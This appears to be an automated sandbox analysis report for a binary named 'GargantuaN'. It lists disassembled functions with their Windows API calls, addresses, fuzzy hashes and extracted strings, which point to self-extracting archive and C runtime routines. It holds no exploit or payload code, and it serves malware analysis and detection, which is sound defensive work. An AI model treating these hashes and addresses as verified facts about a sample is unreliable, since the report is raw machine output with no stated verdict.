Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f7e53f01bf889f3e4a95560cdff7f251963321f7d60185b1d71f2a9ba81aa7ae
Instruction ID: 95fe34bd6fde1452091b00a979161f14a3793fc06da83906410c2d72825a1446
Opcode Fuzzy Hash: f7e53f01bf889f3e4a95560cdff7f251963321f7d60185b1d71f2a9ba81aa7ae
Instruction Fuzzy Hash: 3C01D4322283216EA7242E747C859362B99EB42B74B64873AF11C952E9FF114D04A674

Uniqueness

Uniqueness Score: -1.00%

Function 00D797E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00D91030,00D74674,00D91030,?,?,00D73F73,00000050,?,00D91030,00000200), ref: 00D797E9
_free.LIBCMT ref: 00D7981C
_free.LIBCMT ref: 00D79844
SetLastError.KERNEL32(00000000,?,00D91030,00000200), ref: 00D79851
SetLastError.KERNEL32(00000000,?,00D91030,00000200), ref: 00D7985D
_abort.LIBCMT ref: 00D79863

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: ec2dcec57dddcbfeb1b3c7bf715f85774a0cbe5cec1d139beab19624575a6c12
Instruction ID: 3f3094436253186cc325103ca540a220ebd7fdcb9d10ddb635a8f9fa1b69e4a4
Opcode Fuzzy Hash: ec2dcec57dddcbfeb1b3c7bf715f85774a0cbe5cec1d139beab19624575a6c12
Instruction Fuzzy Hash: 2EF0A4371507016AC72237286C2AB2F9A65CFD2B71F298129F51CD6392FE20C8055676

Uniqueness

Uniqueness Score: -1.00%

Function 00D6DC3B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00D6DC47
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D6DC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D6DC72
TranslateMessage.USER32(?), ref: 00D6DC7C
DispatchMessageW.USER32(?), ref: 00D6DC86
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00D6DC91

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 45da822008497b2e66a1fe11bcacb3a9db16ba45e9be1d3781457c3a6de17ebe
Instruction ID: 400eb09a4c3631b045d073aaa7bf176542188e43ce5668bb7f60e99d705f25cc
Opcode Fuzzy Hash: 45da822008497b2e66a1fe11bcacb3a9db16ba45e9be1d3781457c3a6de17ebe
Instruction Fuzzy Hash: 74F01472A01219FBCA206FA5EC4CDCB7F6DEF46791B044121B90AE2160D6649646DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D5C0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00D605DA: _wcslen.LIBCMT ref: 00D605E0

Part of subcall function 00D5B92D: _wcsrchr.LIBVCRUNTIME ref: 00D5B944

_wcslen.LIBCMT ref: 00D5C197
_wcslen.LIBCMT ref: 00D5C1DF

Strings

.rar, xrefs: 00D5C0E1, 00D5C134
.exe, xrefs: 00D5C10B
.sfx, xrefs: 00D5C11A

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 5d95a45746ab1e5bde4cd49cd9ce8220d6b52d372385005ea5ff9d39bb7b822a
Instruction ID: 69958957260f8f18b7747ee5e62fc4ba8e36930f6e8e79b99f26342467ebf549
Opcode Fuzzy Hash: 5d95a45746ab1e5bde4cd49cd9ce8220d6b52d372385005ea5ff9d39bb7b822a
Instruction Fuzzy Hash: B24127265207119ECF31AF648852E3BB3A4EF41B55F18690EFDC66B0C1EB509D89C3B5

Uniqueness

Uniqueness Score: -1.00%

Function 00D6CE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00D6CE9D

Part of subcall function 00D5B690: _wcslen.LIBCMT ref: 00D5B696

_swprintf.LIBCMT ref: 00D6CED1

Part of subcall function 00D54092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D540A5

SetDlgItemTextW.USER32(?,00000066,00D9946A), ref: 00D6CEF1
EndDialog.USER32(?,00000001), ref: 00D6CFFE

Strings

%s%s%u, xrefs: 00D6CEC6

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: 26c3671ae3351a5ce96cae45d456631031629d630c874ce70b3243ca604a39b5
Instruction ID: 6f64e80e7abd731c74c40fd8b0d8103ef02b889248afa80f249ed224ea14cf50
Opcode Fuzzy Hash: 26c3671ae3351a5ce96cae45d456631031629d630c874ce70b3243ca604a39b5
Instruction Fuzzy Hash: B641ADB1900218ABDF219BA4DC55EEA77BCEF05300F4080A6F949E7141EA718A88CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5BB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D5BB27
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,00D5A275,?,?,00000800,?,00D5A23A,?,00D5755C), ref: 00D5BBC5
_wcslen.LIBCMT ref: 00D5BC3B

Strings

\\?\, xrefs: 00D5BB52, 00D5BB99, 00D5BBF7, 00D5BC4E
UNC, xrefs: 00D5BBA7

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: e64acbfbf4c3e948e6be267357d4898665d84dd66f9c360ca1ca706d1e715de2
Instruction ID: 6c1cc9c724d4c542a3d01c02f3291aa7d3578a79917742103cf24c53ff7da135
Opcode Fuzzy Hash: e64acbfbf4c3e948e6be267357d4898665d84dd66f9c360ca1ca706d1e715de2
Instruction Fuzzy Hash: F3418E31400615ABCF21AF60CC02EFB77A9EF417A2F148467FC59A3151EB70DA988BB4

Uniqueness

Uniqueness Score: -1.00%

Function 00D6B6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00D6B6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 00D6B712
DeleteObject.GDI32(00000000), ref: 00D6B744
DeleteObject.GDI32(00000000), ref: 00D6B767

Part of subcall function 00D6A6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00D6B73D,00000066), ref: 00D6A6D5
Part of subcall function 00D6A6C2: SizeofResource.KERNEL32(00000000,?,?,?,00D6B73D,00000066), ref: 00D6A6EC
Part of subcall function 00D6A6C2: LoadResource.KERNEL32(00000000,?,?,?,00D6B73D,00000066), ref: 00D6A703
Part of subcall function 00D6A6C2: LockResource.KERNEL32(00000000,?,?,?,00D6B73D,00000066), ref: 00D6A712
Part of subcall function 00D6A6C2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00D6B73D,00000066), ref: 00D6A72D
Part of subcall function 00D6A6C2: GlobalLock.KERNEL32(00000000,?,?,?,?,?,00D6B73D,00000066), ref: 00D6A73E
Part of subcall function 00D6A6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00D6A7A7
Part of subcall function 00D6A6C2: GlobalUnlock.KERNEL32(00000000), ref: 00D6A7C6
Part of subcall function 00D6A6C2: GlobalFree.KERNEL32(00000000), ref: 00D6A7CD

Strings

], xrefs: 00D6B71A

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: GlobalResource$Object$BitmapDeleteLoadLock$AllocCreateFindFreeFromGdipSizeofUnlock
String ID: ]
API String ID: 1428510222-3352871620
Opcode ID: d93d5245e660f55b2d9432a4b5431376e1f77c5892d8e4fd2c30d1ef63e3132c
Instruction ID: 989976b47fa07eaa1ac9d044f6ae80416aca7a39187d219fc0e75da28690d94c
Opcode Fuzzy Hash: d93d5245e660f55b2d9432a4b5431376e1f77c5892d8e4fd2c30d1ef63e3132c
Instruction Fuzzy Hash: 41010036540711A7C712BB788C4AA7F7AB9EFC0B62F0A0012F940F7291DF218D495AB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6D600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00D51316: GetDlgItem.USER32(00000000,00003021), ref: 00D5135A
Part of subcall function 00D51316: SetWindowTextW.USER32(00000000,00D835F4), ref: 00D51370

EndDialog.USER32(?,00000001), ref: 00D6D64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00D6D661
SetDlgItemTextW.USER32(?,00000066,?), ref: 00D6D675
SetDlgItemTextW.USER32(?,00000068), ref: 00D6D684

Strings

RENAMEDLG, xrefs: 00D6D618

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 53ea0a69c50f770c99d00c5aa30da80a999f3c71edf624f1a9f0f3e018e55f40
Instruction ID: b64c7b884d57cb7fbf946fecd7a5e2bc7c72669d99763eff17efb3626ed796a4
Opcode Fuzzy Hash: 53ea0a69c50f770c99d00c5aa30da80a999f3c71edf624f1a9f0f3e018e55f40
Instruction Fuzzy Hash: 3C01F533B84318FBD2205FA8ED09F567B5EEB9AB01F110111F645E21D4C6A2D9049B75

Uniqueness

Uniqueness Score: -1.00%

Function 00D77E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00D77E24,00000000,?,00D77DC4,00000000,00D8C300,0000000C,00D77F1B,00000000,00000002), ref: 00D77E93
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D77EA6
FreeLibrary.KERNEL32(00000000,?,?,?,00D77E24,00000000,?,00D77DC4,00000000,00D8C300,0000000C,00D77F1B,00000000,00000002), ref: 00D77EC9

Strings

mscoree.dll, xrefs: 00D77E8C
CorExitProcess, xrefs: 00D77E9E

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8d1aa7a92ef82ac10af66562cebc2c158eb48fe4691b168f8fecb45f9cd5d7e5
Instruction ID: ae9fa14595631e277461235078c7ab745d2eaf0858d57a3e8bf94d4af88e1cbb
Opcode Fuzzy Hash: 8d1aa7a92ef82ac10af66562cebc2c158eb48fe4691b168f8fecb45f9cd5d7e5
Instruction Fuzzy Hash: 07F04431914209BFCB119FA5DC09B9EBFB4EB44711F0480A9F809E2260DB309E44CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 00D5F2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00D6081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D60836
Part of subcall function 00D6081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00D5F2D8,Crypt32.dll,00000000,00D5F35C,?,?,00D5F33E,?,?,?), ref: 00D60858

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00D5F2E4
GetProcAddress.KERNEL32(00D981C8,CryptUnprotectMemory), ref: 00D5F2F4

Strings

CryptUnprotectMemory, xrefs: 00D5F2EA
Crypt32.dll, xrefs: 00D5F2CE
CryptProtectMemory, xrefs: 00D5F2DE

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 3d35b96dd97eb73efdeca30ad8807184fa19b366d23b822fcfaa42f2615256b2
Instruction ID: 99395519e481f15b24fc858dfe408ae12bc11787cf721654d0c25bb5cbb3fc8a
Opcode Fuzzy Hash: 3d35b96dd97eb73efdeca30ad8807184fa19b366d23b822fcfaa42f2615256b2
Instruction Fuzzy Hash: 95E04F709107429EDB20AF34D849B127AD4AF04F05F14885DE8DED3640D6B4D5448B70

Uniqueness

Uniqueness Score: -1.00%

Function 00D72BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D72CA1
___AdjustPointer.LIBCMT ref: 00D72CC4
_abort.LIBCMT ref: 00D72D12
___AdjustPointer.LIBCMT ref: 00D72D60

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: f16173ea0127cacccd18f3d5beca992c249a6a9b5aee6106d2f62467f9cde439
Instruction ID: 53716749707f884ab92222f40868c43cf42f610c5a2f55b5b6eb57ce002c13fd
Opcode Fuzzy Hash: f16173ea0127cacccd18f3d5beca992c249a6a9b5aee6106d2f62467f9cde439
Instruction Fuzzy Hash: 4E519172601252EFDB299F14D846BBA77A4FF64310F28852DE849876A1F731ED80D7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D7BF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00D7BF39
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D7BF5C

Part of subcall function 00D78E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D7CA2C,00000000,?,00D76CBE,?,00000008,?,00D791E0,?,?,?), ref: 00D78E38

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00D7BF82
_free.LIBCMT ref: 00D7BF95
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D7BFA4

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 0c5860853f9ffcac8b7314ac4747f3d6f1ed4d730f3f84b64ea43a4846640230
Instruction ID: 17cae44f02b9ef15a96ba5742c920d30fd22a9dcb299cfdee67341a864f05086
Opcode Fuzzy Hash: 0c5860853f9ffcac8b7314ac4747f3d6f1ed4d730f3f84b64ea43a4846640230
Instruction Fuzzy Hash: 390184726157157F23211A765C4DE7BAA6DDEC2FB1319812AF90CC2241FF62CD0196B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D79869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00D791AD,00D7B188,?,00D79813,00000001,00000364,?,00D73F73,00000050,?,00D91030,00000200), ref: 00D7986E
_free.LIBCMT ref: 00D798A3
_free.LIBCMT ref: 00D798CA
SetLastError.KERNEL32(00000000,?,00D91030,00000200), ref: 00D798D7
SetLastError.KERNEL32(00000000,?,00D91030,00000200), ref: 00D798E0

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: f4a6b9164906635303fec3b25caca804e5af6e6bd815d4fb9ce04ac114778dde
Instruction ID: 77a78832da5f4e360aa2ef499bd69043ac7ff1441e02d4e9336c76328ceca304
Opcode Fuzzy Hash: f4a6b9164906635303fec3b25caca804e5af6e6bd815d4fb9ce04ac114778dde
Instruction Fuzzy Hash: 0601F437254B016FC2222728ACAAD2FA629DFD27707258236F50DD2292FE20CD015272

Uniqueness

Uniqueness Score: -1.00%

Function 00D60EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00D611CF: ResetEvent.KERNEL32(?), ref: 00D611E1
Part of subcall function 00D611CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00D611F5

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00D60F21
CloseHandle.KERNEL32(?,?), ref: 00D60F3B
DeleteCriticalSection.KERNEL32(?), ref: 00D60F54
CloseHandle.KERNEL32(?), ref: 00D60F60
CloseHandle.KERNEL32(?), ref: 00D60F6C

Part of subcall function 00D60FE4: WaitForSingleObject.KERNEL32(?,000000FF,00D61206,?), ref: 00D60FEA
Part of subcall function 00D60FE4: GetLastError.KERNEL32(?), ref: 00D60FF6

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: cd44e04ab0714bf506a621956286a0b2110a8e07921df53470ad78cbfa5ff414
Instruction ID: 1a5db6e9eb446457f191e82e679214e015170d91197aa11d71290682e5fd7807
Opcode Fuzzy Hash: cd44e04ab0714bf506a621956286a0b2110a8e07921df53470ad78cbfa5ff414
Instruction Fuzzy Hash: CC015E72110744EFC7229F64DC85BCABBA9FB08B10F000929F26A92260CB757A44DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D7C7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D7C817

Part of subcall function 00D78DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00D7C896,?,00000000,?,00000000,?,00D7C8BD,?,00000007,?,?,00D7CCBA,?), ref: 00D78DE2
Part of subcall function 00D78DCC: GetLastError.KERNEL32(?,?,00D7C896,?,00000000,?,00000000,?,00D7C8BD,?,00000007,?,?,00D7CCBA,?,?), ref: 00D78DF4

_free.LIBCMT ref: 00D7C829
_free.LIBCMT ref: 00D7C83B
_free.LIBCMT ref: 00D7C84D
_free.LIBCMT ref: 00D7C85F

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 13dcd67fe1cc59c523cf9d6fdcc5b218288a0c98c53ce973c68d42a6f9b68a17
Instruction ID: 0b5474b0f4ff3df22e6e62ab315b681de244ef1b7c370a1a71d134b8066c4118
